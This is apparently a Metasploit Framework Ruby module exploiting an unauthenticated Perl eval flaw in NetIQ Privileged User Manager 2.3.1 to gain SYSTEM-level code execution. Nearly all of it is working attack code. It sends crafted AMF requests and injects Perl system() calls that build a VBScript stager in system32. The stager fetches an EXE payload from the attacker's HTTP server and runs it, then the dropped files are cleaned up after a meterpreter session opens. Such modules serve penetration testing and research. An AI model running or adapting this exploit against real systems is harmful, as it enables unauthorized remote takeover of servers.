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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/exploit/file_dropper' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution', 'Description'=> %q{ This module abuses a lack of authorization in the NetIQ Privileged User Manager service (unifid.exe) to execute arbitrary perl code. The problem exists in the ldapagnt module. The module has been tested successfully on NetIQ PUM 2.3.1 over Windows 2003 SP2, which allows to execute arbitrary code with SYSTEM privileges. }, 'Author' => [ 'rgod', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'OSVDB', '87334'], [ 'BID', '56539' ], [ 'EDB', '22738' ], [ 'URL', 'http://retrogod.altervista.org/9sg_novell_netiq_ldapagnt_adv.htm' ] ], 'Payload'=> { 'Space' => 2048, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Privileged' => true, 'Targets'=> [ ['Windows 2003 SP2 / NetIQ Privileged User Manager 2.3.1', { }], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Nov 15 2012' )) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]) ], self.class ) end def check data = fake_login print_status("Sending fake login request...") res = send_request_cgi( { 'uri' => '/', 'version' => '1.1', 'method'=> 'POST', 'ctype' => "application/x-amf", 'headers' => { "x-flash-version" => "11,4,402,278" }, 'data'=> data, }) if res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ and res.body =~ /2.3.1/ return Exploit::CheckCode::Vulnerable elsif res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def on_new_session(session) if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end @dropped_files.delete_if do |file| win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" begin windir = session.fs.file.expand_path("%WINDIR%") win_file = "#{windir}\\system32\\#{win_file}" # Meterpreter should do this automatically as part of # fs.file.rm().Until that has been implemented, remove the # read-only flag with a command. session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) session.fs.file.rm(win_file) print_good("Deleted #{file}") true rescue ::Rex::Post::Meterpreter::RequestError false end end end end # Handle incoming requests from the target def on_request_uri(cli, request) vprint_status("on_request_uri called") if (not @exe_data) print_error("A request came in, but the EXE archive wasn't ready yet!") return end print_good("Sending the EXE payload to the target...") send_response(cli, @exe_data) @exe_sent = true end def lookup_lhost() # Get the source address if datastore['SRVHOST'] == '0.0.0.0' Rex::Socket.source_address('50.50.50.50') else datastore['SRVHOST'] end end def fake_login data = "\x00\x00\x00\x00\x00\x01\x00\x15\x53\x50\x46\x2e\x55\x74"#..........SPF.Ut data << "\x69\x6c\x2e\x63\x61\x6c\x6c\x4d\x6f\x64\x75\x6c\x65\x45\x78\x00" #il.callModuleEx. data << "\x02\x2f\x34\x00\x00\x00\x64\x0a\x00\x00\x00\x01\x03\x00\x03\x70" #./4...d........p data << "\x6b\x74\x03\x00\x0b\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73" #kt...Credentials data << "\x03\x00\x04\x6e\x61\x6d\x65\x02\x00\x04\x74\x65\x73\x74\x00\x06" #...name...test.. data << "\x70\x61\x73\x73\x77\x64\x02\x00\x04\x74\x65\x73\x74\x00\x00\x09" #passwd...test... data << "\x00\x06\x6d\x65\x74\x68\x6f\x64\x02\x00\x05\x6c\x6f\x67\x69\x6e" #..method...login data << "\x00\x06\x6d\x6f\x64\x75\x6c\x65\x02\x00\x04\x61\x75\x74\x68\x00" #..module...auth. data << "\x03\x75\x69\x64\x06\x00\x00\x09\x00\x00\x09";#.uid....... return data end def exploit data = fake_login print_status("Sending fake login request...") res = send_request_cgi( { 'uri' => '/', 'version' => '1.1', 'method'=> 'POST', 'ctype' => "application/x-amf", 'headers' => { "x-flash-version" => "11,4,402,278" }, 'data'=> data, }) if not res or res.code != 200 or res.body !~ /svc(.+)/ fail_with(Exploit::Failure::Unknown, 'Fake Login failed, svc not identified') end svc = $1 svc_length = svc[1, 2].unpack("n")[0] svc_name = svc[3, svc_length] vprint_status("SVC Found: #{svc_name}") print_status("Generating the EXE Payload...") @exe_data = generate_payload_exe exename = Rex::Text.rand_text_alpha(1+rand(2)) print_status("Setting up the Web Service...") datastore['SSL'] = false resource_uri = '/' + exename + '.exe' service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}" print_status("Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true # http://scriptjunkie1.wordpress.com/2010/09/27/command-stagers-in-windows/ vbs_stage = Rex::Text.rand_text_alpha(3+rand(5)) code = "system(\"echo Set F=CreateObject(\\\"Microsoft.XMLHTTP\\\") >%WINDIR%/system32/#{vbs_stage}.vbs\");" code << "system(\"echo F.Open \\\"GET\\\",\\\"#{service_url}\\\",False >>%WINDIR%/system32/#{vbs_stage}.vbs\");" code << "system(\"echo F.Send >>%WINDIR%/system32/#{vbs_stage}.vbs\");" code << "system(\"echo Set IA=CreateObject(\\\"ADODB.Stream\\\") >>%WINDIR%/system32/#{vbs_stage}.vbs\");" code << "system(\"echo IA.Type=1 >>%WINDIR%/system32/#{vbs_stage}.vbs\");" code << "system(\"echo IA.Open >>%WINDIR%/system32/#{vbs_stage}.vbs\");" code << "system(\"echo IA.Write F.responseBody >>%WINDIR%/system32/#{vbs_stage}.vbs\");" code << "system(\"echo IA.SaveToFile \\\"%WINDIR%\\system32\\#{exename}.exe\\\",2 >>%WINDIR%/system32/#{vbs_stage}.vbs\");" code << "system(\"echo CreateObject(\\\"WScript.Shell\\\").Run \\\"%WINDIR%\\system32\\#{exename}.exe\\\" >>%WINDIR%/system32/#{vbs_stage}.vbs\");" code << "system(\"#{vbs_stage}.vbs\");" register_file_for_cleanup("#{vbs_stage}.vbs") register_file_for_cleanup("#{exename}.exe") identity = "" data = "\x00\x00\x00\x00\x00\x01" data << "\x00\x14" data << "SPF.Util.callModuleA" data << "\x00\x00" data << "\x00" data << "\x00\x02" data << "\x0a\x0a" data << "\x00\x00\x00\x01\x03" data << "\x00\x03" data << "pkt" data << "\x03" data << "\x00\x06" data << "method" data << "\x02" data << "\x00\x04" data << "eval" data << "\x00\x06" data << "module" data << "\x02" data << "\x00\x08" data << "ldapagnt" data << "\x00\x04" data << "Eval" data << "\x03" data << "\x00\x07" data << "content" data << "\x02" data << [code.length + 4].pack("n") data << code data << "\x0a\x0a1;\x0a\x0a1;" data << "\x00\x00\x09" data << "\x00\x00\x09" data << "\x00\x03" data << "uid" data << "\x02" data << [identity.length].pack("n") data << identity data << "\x00\x00\x09" data << "\x00\x08" data << "svc_name" data << "\x02" data << [svc_name.length].pack("n") data << svc_name data << "\x00\x00\x09" print_status("Sending the eval code request...") res = send_request_cgi( { 'uri' => '/', 'version' => '1.1', 'method'=> 'POST', 'ctype' => "application/x-amf", 'headers' => { "x-flash-version" => "11,4,402,278" }, 'data'=> data, }) if res fail_with(Exploit::Failure::Unknown, "There was an unexpected response to the code eval request") else print_good("There wasn't a response, but this is the expected behavior...") end # wait for the data to be sent print_status("Waiting for the victim to request the EXE payload...") waited = 0 while (not @exe_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "Target didn't request request the EXE payload -- Maybe it cant connect back to us?") end end print_status("Giving time to the payload to execute...") select(nil, nil, nil, 20) print_status("Shutting down the web service...") stop_service end end |
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